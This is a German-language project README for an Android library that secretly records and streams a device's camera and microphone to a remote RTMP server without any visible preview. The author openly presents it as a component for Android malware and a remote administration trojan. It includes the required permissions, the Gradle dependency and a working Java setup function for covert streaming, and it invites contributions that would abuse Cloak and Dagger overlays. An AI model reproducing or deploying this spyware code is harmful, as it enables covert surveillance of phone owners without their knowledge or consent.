
Live Hidden Camera ist eine Bibliothek, die Live-Video und -Audio von einem Android-Gerät aufzeichnet, ohne eine Vorschau anzuzeigen.
Live Hidden Camera (LHC) ist eine Bibliothek, die Live-Video und Audio von Android-Geräten aufzeichnet, ohne eine Vorschau anzuzeigen.

Ich arbeite an einer forschungsbasierten Android-Malware und habe beschlossen, ein multifunktionales RAT (Remote Administration Tool) zu erstellen. Ich arbeitete an Live-Streams und fand einige RTMP-basierte Open-Source-Projekte, darunter:
welche alle Probleme basierend auf den Anforderungen eines RAT aufweisen. Das gemeinsame Problem war, dass sie alle eine Aktivität benötigen, um ein SurfaceView einzubinden.
Deshalb begann ich zu suchen. Schließlich konnte ich Live Hidden Camera erstellen, das nur einen CONTEXT benötigt, um Live-Video zu streamen, indem ich diese beiden Projekte kombinierte:
Ich habe eine Bibliothek erstellt, um sie nutzbarer zu machen. Die einzige Anforderung ist, die Bibliothek zu Ihrem Projekt hinzuzufügen und die Rtmp-URL zu übergeben.
Zusätzlich sollten Sie Folgendes beachten:
Manifest.xml haben:<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
Die Verwendung der Bibliothek ist einfach. Fügen Sie einfach die folgende Bibliothek zur gradle.build-Datei Ihres Projekts hinzu.
compile 'ir.mstajbakhsh.android:LiveHiddenCamera:0.1.2'
Manifest auskommentiert.Bevor Sie die Bibliothek verwenden, sollten Sie einen Rtmp-Server bereitgestellt haben. Ich habe Ant Media Server verwendet. Es gibt eine gute Anleitung zur Installation von Ant Media Server unter DIESEM LINK.
Nach dem Starten des Ant Media Rtmp-Servers sollten Sie Folgendes sehen:

Nachdem Sie die Bibliothek zu Ihrem Projekt hinzugefügt haben, führen Sie die folgenden Schritte aus:
Erstellen Sie eine Klasse, die Folgendes implementiert: RtmpHandler.RtmpListener, SrsRecordHandler.SrsRecordListener, SrsEncodeHandler.SrsEncodeListener
Erstellen Sie zwei Felder (eines für die Veröffentlichung und eines für die Vorschau):
private SrsPublisher mPublisher;
private SrsCameraView mCameraView;
Implementieren Sie eine Funktion zum Starten der Live Hidden Camera:
private void initHiddenCam(String rtmpURL) {
HiddenCameraLayout l = new HiddenCameraLayout(getApplicationContext(), new HiddenCameraLayout.PermissionHandler() {
@Override
public void onPermissionNotGrantedException(Exception ex) {
Log.d("HCL", "Ask user to grant permission.");
Log.e("HCL", ex.getMessage());
}
});
//start config
CameraConfig cameraConfig = new CameraConfig()
.getBuilder(MainActivity.this.getApplicationContext())
.setCameraFacing(CameraFacing.REAR_FACING_CAMERA)
.build();
mCameraView = l.initHiddenLayout(cameraConfig);
mPublisher = new SrsPublisher(mCameraView);
mPublisher.setEncodeHandler(new SrsEncodeHandler(this));
mPublisher.setRtmpHandler(new RtmpHandler(this));
mPublisher.setRecordHandler(new SrsRecordHandler(this));
mPublisher.setPreviewResolution(640, 360);
mPublisher.setOutputResolution(640, 360);
mPublisher.setVideoHDMode();
mPublisher.startPublish(rtmpURL);
mPublisher.startCamera();
}
Das Hauptproblem, dem ich derzeit gegenüberstehe, ist der grüne Bildschirm. Ich habe den Fehler auf StackOverflow unter https://stackoverflow.com/questions/56380851/getting-green-image-while-preview-hidden-live-video beschrieben.
Wenn Sie einen Vorschlag zu diesem Problem oder eine andere Idee haben, zögern Sie nicht, mich zu kontaktieren.
Aufgrund des Overlays der Live Hidden Camera können keine anderen Apps angeklickt werden. Klicks werden nur von der LHC akzeptiert. Überprüfen Sie den TODO-Abschnitt.
Es gibt ein Projekt namens Cloak and Dagger, das eine sehr gefährliche Fähigkeit in Android aufgedeckt hat. Jeglicher Beitrag zur Verwendung von Cloack and Dagger in LHC ist willkommen.
Überprüfen Sie Cloak and Dagger hier:
Sie können dieses Projekt mit meiner Bitcoin-Adresse unterstützen:
BitCoin:
1F5uiEmdCLJX5KktWHE1wkc63feKJYMmxS
Sie erreichen mich auf meiner Website: https://mstajbakhsh.ir/